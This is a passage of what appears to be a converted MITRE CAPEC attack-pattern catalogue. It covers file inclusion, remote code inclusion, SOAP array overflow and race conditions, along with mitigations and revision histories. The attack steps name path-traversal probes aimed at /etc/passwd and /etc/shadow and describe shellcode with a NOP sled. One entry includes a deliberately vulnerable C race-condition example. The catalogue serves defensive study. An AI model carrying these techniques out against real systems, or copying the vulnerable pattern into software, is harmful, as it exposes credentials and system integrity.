xmlns:xhtml="http://www.w3.org/1999/xhtml">The attacker forces an application to load arbitrary code files from the local machine. The attacker could use this to try to load old versions of library files that have known vulnerabilities, to load files that the attacker placed on the local machine during a prior attack, or to otherwise change the functionality of the targeted application in unexpected ways.</xhtml:div> + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern14116 + Related_Attack_Pattern_14116 + + + + + + + + + + + + + + 175 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The targeted application must have a bug that allows an adversary to control which code file is loaded at some juncture.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Some variants of this attack may require that old versions of some code files be present and in predictable locations.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The adversary needs to have enough access to the target application to control the identity of a locally included file. The attacker may also need to be able to upload arbitrary code files to the target machine, although any location for these files may be acceptable.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence14126 + Consequence_14126 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Through local code inclusion, the adversary compromises the integrity of the application.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence14131 + Consequence_14131 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An attacker may leverage local code inclusion in order to print sensitive data to a page, such as hidden configuration files or or password hashes.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Implementation: Avoid passing user input to filesystem or framework API. If necessary to do so, implement a specific, allowlist approach.</xhtml:div> + + + + + 829 + + + + + + + + + + + + #indTaxonomyMappingProcessInjection + Process Injection + + + + + + + + + + + + + + 1055 + + + + + Process Injection + + + + + + + + + + + + #indReferenceReference14150 + Reference_14150 + + + + + + + + + REF-613 + + + + + Testing for Local File Inclusion + + + + + + + + + + + + #indContentHistoryContentHistory14152 + Content_History_14152 + + + + + + + + + + + + + + + + #indSubmissionSubmission14153 + Submission_14153 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification14158 + Modification_14158 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-11-09 + + + + + Updated References + + + + + + + + + + + + #indModificationModification14164 + Modification_14164 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-08-04 + + + + + Updated Attack_Motivation-Consequences, Attack_Prerequisites, Resources_Required, Solutions_and_Mitigations + + + + + + + + + + + + #indModificationModification14170 + Modification_14170 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated References + + + + + + + + + + + + #indModificationModification14176 + Modification_14176 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-04-04 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #indModificationModification14182 + Modification_14182 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Mitigations + + + + + + + + + + + + #indModificationModification14188 + Modification_14188 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated References + + + + + + + + + + + + #CAPEC-252 + PHP Local File Inclusion + + + + + + + + + 252 + + + + + PHP Local File Inclusion + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The attacker loads and executes an arbitrary local PHP file on a target machine. The attacker could use this to try to load old versions of PHP files that have known vulnerabilities, to load PHP files that the attacker placed on the local machine during a prior attack, or to otherwise change the functionality of the targeted application in unexpected ways.</xhtml:div> + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern14200 + Related_Attack_Pattern_14200 + + + + + + + + + + + + + + 251 + + + + + + + + + + + + #indAttackStepAttackStep14203 + Attack_Step_14203 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Survey application] Using a browser or an automated tool, an adversary follows all public links on a web site. They record all the links they find. The adversary is looking for URLs that show PHP file inclusion is used, which can look something like "http://vulnerable-website/file.php?file=index.php".</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use a spidering tool to follow and record all links. Make special note of any links that include parameters in the URL.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use a proxy tool to record all links visited during a manual traversal of the web application. Make special note of any links that include parameters in the URL. Manual traversal of this type is frequently necessary to identify forms that are GET method forms rather than POST forms.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use a browser to manually explore the website and analyze how it is constructed. Many browser's plugins are available to facilitate the analysis or automate the URL discovery.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep14211 + Attack_Step_14211 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Attempt variations on input parameters] Once the adversary finds a vulnerable URL that takes file input, they attempt a variety of path traversal techniques to attempt to get the application to display the contents of a local file, or execute a different PHP file already stored locally on the server.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use a list of probe strings to inject in parameters of known URLs. The probe strings are variants of path traversal techniques used to include well known files.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use a proxy tool to record results of manual input of local file inclusion probes in known URLs.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep14218 + Attack_Step_14218 + + + + + + + + + 3 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Include desired local file] Once the adversary has determined which techniques of path traversal successfully work with the vulnerable PHP application, they will target a specific local file to include. These can be files such as "/etc/passwd", "/etc/shadow", or configuration files for the application that might expose sensitive information.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The targeted PHP application must have a bug that allows an attacker to control which code file is loaded at some juncture.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The attacker needs to have enough access to the target application to control the identity of a locally included PHP file.</xhtml:div> + + + + + 829 + + + + + + + + + + + + #indReferenceReference14234 + Reference_14234 + + + + + + + + + REF-621 + + + + + PHP File Inclusion + + + + + + + + + + + + #indContentHistoryContentHistory14236 + Content_History_14236 + + + + + + + + + + + + + + + + #indSubmissionSubmission14237 + Submission_14237 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification14242 + Modification_14242 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-04-04 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #indModificationModification14248 + Modification_14248 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated References + + + + + + + + + + + + #indModificationModification14254 + Modification_14254 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-10-21 + + + + + Updated Execution_Flow + + + + + + + + + + + + #CAPEC-253 + Remote Code Inclusion + + + + + + + + + 253 + + + + + Remote Code Inclusion + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The attacker forces an application to load arbitrary code files from a remote location. The attacker could use this to try to load old versions of library files that have known vulnerabilities, to load malicious files that the attacker placed on the remote machine, or to otherwise change the functionality of the targeted application in unexpected ways.</xhtml:div> + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern14265 + Related_Attack_Pattern_14265 + + + + + + + + + + + + + + 175 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern14266 + Related_Attack_Pattern_14266 + + + + + + + + + + + + + + 664 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Target application server must allow remote files to be included.The malicious file must be placed on the remote machine previously.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Minimize attacks by input validation and sanitization of any user data that will be used by the target application to locate a remote file to be included.</xhtml:div> + + + + + 829 + + + + + + + + + + + + #indTaxonomyMappingRemoteFileInclusion + Remote File Inclusion + + + + + + + + + + + + + + 05 + + + + + Remote File Inclusion + + + + + + + + + + + + #indReferenceReference14284 + Reference_14284 + + + + + + + + + REF-614 + + + + + Testing for Remote File Inclusion + + + + + + + + + + + + #indContentHistoryContentHistory14286 + Content_History_14286 + + + + + + + + + + + + + + + + #indSubmissionSubmission14287 + Submission_14287 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification14292 + Modification_14292 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated Attack_Prerequisites, Description Summary, Related_Weaknesses, Solutions_and_Mitigations + + + + + + + + + + + + #indModificationModification14298 + Modification_14298 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated References, Taxonomy_Mappings + + + + + + + + + + + + #indModificationModification14304 + Modification_14304 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-06-24 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #CAPEC-254 + DEPRECATED: DTD Injection in a SOAP Message + + + + + + + + + 254 + + + + + DEPRECATED: DTD Injection in a SOAP Message + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This pattern has been deprecated as it was determined to be an unnecessary layer of abstraction. Please refer to the pattern CAPEC-228 : DTD Injection going forward.</xhtml:div> + + + + + + + + + + + + #indContentHistoryContentHistory14316 + Content_History_14316 + + + + + + + + + + + + + + + + #indSubmissionSubmission14317 + Submission_14317 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification14322 + Modification_14322 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-05-01 + + + + + Updated Description, Description Summary, Related_Attack_Patterns + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName14328 + Previous_Entry_Name_14328 + + + + + + + + + 2017-05-01 + + + + + DTD Injection in a SOAP Message + + + + + + + + + + + + #CAPEC-256 + SOAP Array Overflow + + + + + + + + + 256 + + + + + SOAP Array Overflow + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An attacker sends a SOAP request with an array whose actual length exceeds the length indicated in the request. If the server processing the transmission naively trusts the specified size, then an attacker can intentionally understate the size of the array, possibly resulting in a buffer overflow if the server attempts to read the entire data set into the memory it allocated for a smaller array.</xhtml:div> + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern14335 + Related_Attack_Pattern_14335 + + + + + + + + + + + + + + 100 + + + + + + + + + + + + #indAttackStepAttackStep14338 + Attack_Step_14338 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Identify target application] The adversary identifies a target application to perform the buffer overflow on. In this attack, adversaries look for applications that utilize SOAP as a communication mechanism.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep14343 + Attack_Step_14343 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Find injection vector] The adversary identifies an injection vector to deliver the excessive content to the targeted application's buffer.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The adversary creates a SOAP message that incorrectly specifies the size of its array to be smaller than the size of the actual content by a large margin and sends it to the application. If this causes a crash or some unintended behavior, it is likely that this is a valid injection vector.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep14349 + Attack_Step_14349 + + + + + + + + + 3 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Craft overflow content] The adversary crafts the content to be injected. If the intent is to simply cause the software to crash, the content need only consist of an excessive quantity of random data. If the intent is to leverage the overflow for execution of arbitrary code, the adversary crafts the payload in such a way that the overwritten return address is replaced with one of the adversary's choosing.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Create malicious shellcode that will execute when the program execution is returned to it.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use a NOP-sled in the overflow content to more easily "slide" into the malicious code. This is done so that the exact return address need not be correct, only in the range of all of the NOPs</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The adversary will choose a SOAP type that allows them to put shellcode into the buffer when the array is read into the application.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep14357 + Attack_Step_14357 + + + + + + + + + 4 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Overflow the buffer] Using the injection vector, the adversary sends the crafted SOAP message to the program, overflowing the buffer.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The targeted SOAP server must trust that the array size as stated in messages it receives is correct, but read through the entire content of the message regardless of the stated size of the array.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The attacker must be able to craft malformed SOAP messages, specifically, messages with arrays where the stated array size understates the actual size of the array in the message.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">If the server either verifies the correctness of the stated array size or if the server stops processing an array once the stated number of elements have been read, regardless of the actual array size, then this attack will fail. The former detects the malformed SOAP message while the latter ensures that the server does not attempt to load more data than was allocated for.</xhtml:div> + + + + + 805 + + + + + + + + + + + + #indTaxonomyMappingSOAPArrayAbuse + SOAP Array Abuse + + + + + + + + + + + + + + 35 + + + + + SOAP Array Abuse + + + + + + + + + + + + #indReferenceReference14382 + Reference_14382 + + + + + + + + + REF-102 + + + + + + + + + + + + #indReferenceReference14383 + Reference_14383 + + + + + + + + + REF-103 + + + + + 5.4.2 Arrays + + + + + + + + + + + + #indContentHistoryContentHistory14385 + Content_History_14385 + + + + + + + + + + + + + + + + #indSubmissionSubmission14386 + Submission_14386 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification14391 + Modification_14391 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-08-04 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification14397 + Modification_14397 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-04-04 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #indModificationModification14403 + Modification_14403 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated Taxonomy_Mappings + + + + + + + + + + + + #indModificationModification14409 + Modification_14409 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-10-21 + + + + + Updated Description, Execution_Flow + + + + + + + + + + + + #CAPEC-257 + DEPRECATED: Abuse of Transaction Data Structure + + + + + + + + + 257 + + + + + DEPRECATED: Abuse of Transaction Data Structure + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This attack pattern has been deprecated as it was deemed not to be a legitimate attack pattern.</xhtml:div> + + + + + + + + + + + + #indContentHistoryContentHistory14421 + Content_History_14421 + + + + + + + + + + + + + + + + #indSubmissionSubmission14422 + Submission_14422 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification14427 + Modification_14427 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-01-09 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification14433 + Modification_14433 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-05-01 + + + + + Updated Description, Description Summary + + + + + + + + + + + + #indModificationModification14439 + Modification_14439 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated Description Summary + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName14445 + Previous_Entry_Name_14445 + + + + + + + + + 2017-05-01 + + + + + Abuse of Transaction Data Structure + + + + + + + + + + + + #CAPEC-258 + DEPRECATED: Passively Sniffing and Capturing Application Code Bound for an Authorized Client During Dynamic Update + + + + + + + + + 258 + + + + + DEPRECATED: Passively Sniffing and Capturing Application Code Bound for an Authorized Client During Dynamic Update + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This attack pattern has been deprecated as it is a duplicate of the existing attack pattern "CAPEC-65 : Sniff Application Code". Please refer to this other CAPEC going forward.</xhtml:div> + + + + + + + + + + + + #indContentHistoryContentHistory14453 + Content_History_14453 + + + + + + + + + + + + + + + + #indSubmissionSubmission14454 + Submission_14454 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification14459 + Modification_14459 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-01-09 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification14465 + Modification_14465 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-08-04 + + + + + Updated Architectural_Paradigms, Attack_Motivation-Consequences, Attack_Phases, Attack_Prerequisites, Attacker_Skills_or_Knowledge_Required, CIA_Impact, Description, Description Summary, Examples-Instances, Frameworks, Languages, Methods_of_Attack, Platforms, Purposes, Related_Attack_Patterns, Related_Weaknesses, Resources_Required, Solutions_and_Mitigations, Technical_Context, Typical_Likelihood_of_Exploit, Typical_Severity + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName14471 + Previous_Entry_Name_14471 + + + + + + + + + 2017-01-09 + + + + + Passively Sniffing and Capturing Application Code Bound for an Authorized Client During Dynamic Update + + + + + + + + + + + + #CAPEC-259 + DEPRECATED: Passively Sniffing and Capturing Application Code Bound for an Authorized Client During Patching + + + + + + + + + 259 + + + + + DEPRECATED: Passively Sniffing and Capturing Application Code Bound for an Authorized Client During Patching + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This attack pattern has been deprecated as it is a duplicate of the existing attack pattern "CAPEC-65 : Sniff Application Code". Please refer to this other CAPEC going forward.</xhtml:div> + + + + + + + + + + + + #indContentHistoryContentHistory14479 + Content_History_14479 + + + + + + + + + + + + + + + + #indSubmissionSubmission14480 + Submission_14480 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification14485 + Modification_14485 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-01-09 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification14491 + Modification_14491 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-08-04 + + + + + Updated Architectural_Paradigms, Attack_Motivation-Consequences, Attack_Phases, Attack_Prerequisites, Attacker_Skills_or_Knowledge_Required, CIA_Impact, Description, Description Summary, Examples-Instances, Frameworks, Languages, Methods_of_Attack, Platforms, Purposes, Related_Attack_Patterns, Related_Weaknesses, Resources_Required, Solutions_and_Mitigations, Technical_Context, Typical_Likelihood_of_Exploit, Typical_Severity + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName14497 + Previous_Entry_Name_14497 + + + + + + + + + 2017-01-09 + + + + + Passively Sniffing and Capturing Application Code Bound for an Authorized Client During Patching + + + + + + + + + + + + #CAPEC-26 + Leveraging Race Conditions + + + + + + + + + 26 + + + + + Leveraging Race Conditions + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The adversary targets a race condition occurring when multiple processes access and manipulate the same resource concurrently, and the outcome of the execution depends on the particular order in which the access takes place. The adversary can leverage a race condition by "running the race", modifying the resource and modifying the normal execution flow. For instance, a race condition can occur while accessing a file: the adversary can trick the system by replacing the original file with their version and cause the system to read the malicious file.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indAttackStepAttackStep14505 + Attack_Step_14505 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The adversary explores to gauge what level of access they have.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep14510 + Attack_Step_14510 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The adversary gains access to a resource on the target host. The adversary modifies the targeted resource. The resource's value is used to determine the next normal execution action.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep14515 + Attack_Step_14515 + + + + + + + + + 3 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The resource is modified/checked concurrently by multiple processes. By using one of the processes, the adversary is able to modify the value just before it is consumed by a different process. A race condition occurs and is exploited by the adversary to abuse the target host.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">A resource is accessed/modified concurrently by multiple processes such that a race condition exists.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The adversary has the ability to modify the resource.</xhtml:div> + + + + + + + + + + + + #indSkillSkill14526 + Skill_14526 + + + + + + + + + + + + + + Being able to "run the race" requires basic knowledge of concurrent processing including synchonization techniques. + + + + + + + + + + + + #indConsequenceConsequence14529 + Consequence_14529 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence14535 + Consequence_14535 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use safe libraries to access resources such as files.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Be aware that improper use of access function calls such as chown(), tempfile(), chmod(), etc. can cause a race condition.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use synchronization to control the flow of execution.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use static analysis tools to find race conditions.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Pay attention to concurrency problems related to the access of resources.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The Net Direct client for Linux before 6.0.5 in Nortel Application Switch 2424, VPN 3050 and 3070, and SSL VPN Module 1000 extracts and executes files with insecure permissions, which allows local users to exploit a race condition to replace a world-writable file in /tmp/NetClient and cause another user to execute arbitrary code when attempting to execute this client, as demonstrated by replacing /tmp/NetClient/client. See also: CVE-2007-1057</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;The following code illustrates a file that is accessed multiple times by name in a publicly accessible directory. A race condition exists between the accesses where an attacker can replace the file referenced by the name (see [REF-107]).&lt;/xhtml:p&gt; + &lt;xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3" style="margin-left:1em;" class="informative"&gt;include &amp;lt;sys/types.h&amp;gt;&lt;xhtml:br&gt;&lt;/xhtml:br&gt;include &amp;lt;fcntl.h&amp;gt;&lt;xhtml:br&gt;&lt;/xhtml:br&gt;include &amp;lt;unistd.h&amp;gt;&lt;xhtml:br&gt;&lt;/xhtml:br&gt; + &lt;xhtml:br&gt;&lt;/xhtml:br&gt;define FILE "/tmp/myfile"&lt;xhtml:br&gt;&lt;/xhtml:br&gt;define UID 100&lt;xhtml:br&gt;&lt;/xhtml:br&gt; + &lt;xhtml:br&gt;&lt;/xhtml:br&gt;void test(char *str)&lt;xhtml:br&gt;&lt;/xhtml:br&gt;{&lt;xhtml:div style="margin-left:1em;"&gt;int fd;&lt;xhtml:br&gt;&lt;/xhtml:br&gt;fd = creat(FILE, 0644);&lt;xhtml:br&gt;&lt;/xhtml:br&gt;if(fd == -1)&lt;xhtml:div style="margin-left:1em;"&gt;return;&lt;/xhtml:div&gt; + &lt;xhtml:br&gt;&lt;/xhtml:br&gt;chown(FILE, UID, -1); /* BAD */&lt;xhtml:br&gt;&lt;/xhtml:br&gt;close(fd);&lt;/xhtml:div&gt; + &lt;xhtml:br&gt;&lt;/xhtml:br&gt;}&lt;xhtml:br&gt;&lt;/xhtml:br&gt; + &lt;xhtml:br&gt;&lt;/xhtml:br&gt;int main(int argc, char **argv)&lt;xhtml:br&gt;&lt;/xhtml:br&gt;{&lt;xhtml:div style="margin-left:1em;"&gt;char *userstr;&lt;xhtml:br&gt;&lt;/xhtml:br&gt;if(argc &amp;gt; 1) {&lt;xhtml:div style="margin-left:1em;"&gt;userstr = argv[1];&lt;xhtml:br&gt;&lt;/xhtml:br&gt;test(userstr);&lt;/xhtml:div&gt; + &lt;xhtml:br&gt;&lt;/xhtml:br&gt;}&lt;xhtml:br&gt;&lt;/xhtml:br&gt;return 0;&lt;/xhtml:div&gt; + &lt;xhtml:br&gt;&lt;/xhtml:br&gt;}&lt;/xhtml:div&gt; + </xhtml:div> + + + + + 368 + + + + + 363 + + + + + 366 + + + + + 370 + + + + + 362 + + + + + 662 + + + + + 689 + + + + + 667 + + + + + 665 + + + + + 1223 + + + + + 1254 + + + + + 1298 + + + + + + + + + + + + #indReferenceReference14576 + Reference_14576 + + + + + + + + + REF-1 + + + + + + + + + + + + #indReferenceReference14577 + Reference_14577 + + + + + + + + + REF-105 + + + + + Race condition + + + + + + + + + + + + #indReferenceReference14578 + Reference_14578 + + + + + + + + + REF-106 + + + + + + + + + + + + #indReferenceReference14579 + Reference_14579 + + + + + + + + + REF-107 + + + + + Test Case ID 1598 + + + + + + + + + + + + #indContentHistoryContentHistory14581 + Content_History_14581 + + + + + + + + + + + + + + + + #indSubmissionSubmission14582 + Submission_14582 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification14587 + Modification_14587 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-01-09 + + + + + Updated Related_Attack_Patterns, Type (Relationship -> Attack_Pattern) + + + + + + + + + + + + #indModificationModification14593 + Modification_14593 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-05-01 + + + + + Updated Activation_Zone, Attack_Phases, Attack_Prerequisites, Description Summary, Injection_Vector, Payload, Payload_Activation_Impact + + + + + + + + + + + + #indModificationModification14599 + Modification_14599 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated Attacker_Skills_or_Knowledge_Required, Examples-Instances, References, Solutions_and_Mitigations + + + + + + + + + + + + #indModificationModification14605 + Modification_14605 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Description, Example_Instances, Execution_Flow, Related_Weaknesses + + + + + + + + + + + + #indModificationModification14611 + Modification_14611 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-06-24 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #indModificationModification14617 + Modification_14617 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Example_Instances + + + + + + + + + + + + #CAPEC-260 + DEPRECATED: Passively Sniffing and Capturing Application Code Bound for an Authorized Client During Initial Distribution + + + + + + + + + 260 + + + + + DEPRECATED: Passively Sniffing and Capturing Application Code Bound for an Authorized Client During Initial Distribution + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This attack pattern has been deprecated as it is a duplicate of the existing attack pattern "CAPEC-65 : Sniff Application Code". Please refer to this other CAPEC going forward.</xhtml:div> + + + + + + + + + + + + #indContentHistoryContentHistory14630 + Content_History_14630 + + + + + + + + + + + + + + + + #indSubmissionSubmission14631 + Submission_14631 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification14636 + Modification_14636 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-01-09 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification14642 + Modification_14642 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-08-04 + + + + + Updated Architectural_Paradigms, Attack_Motivation-Consequences, Attack_Phases, Attack_Prerequisites, Attacker_Skills_or_Knowledge_Required, CIA_Impact, Description, Description Summary, Examples-Instances, Frameworks, Languages, Methods_of_Attack, Platforms, Purposes, Related_Attack_Patterns, Related_Weaknesses, Resources_Required, Solutions_and_Mitigations, Technical_Context, Typical_Likelihood_of_Exploit, Typical_Severity + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName14648 + Previous_Entry_Name_14648 + + + + + + + + + 2017-01-09 + + + + + Passively Sniffing and Capturing Application Code Bound for an Authorized Client During Initial Distribution + + + + + + + + + + + + #CAPEC-261 + Fuzzing for garnering other adjacent user/sensitive data + + + + + + + + + 261 + + + + + Fuzzing for garnering other adjacent user/sensitive data + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary who is authorized to send queries to a target sends variants of expected queries in the hope that these modified queries might return information (directly or indirectly through error logs) beyond what 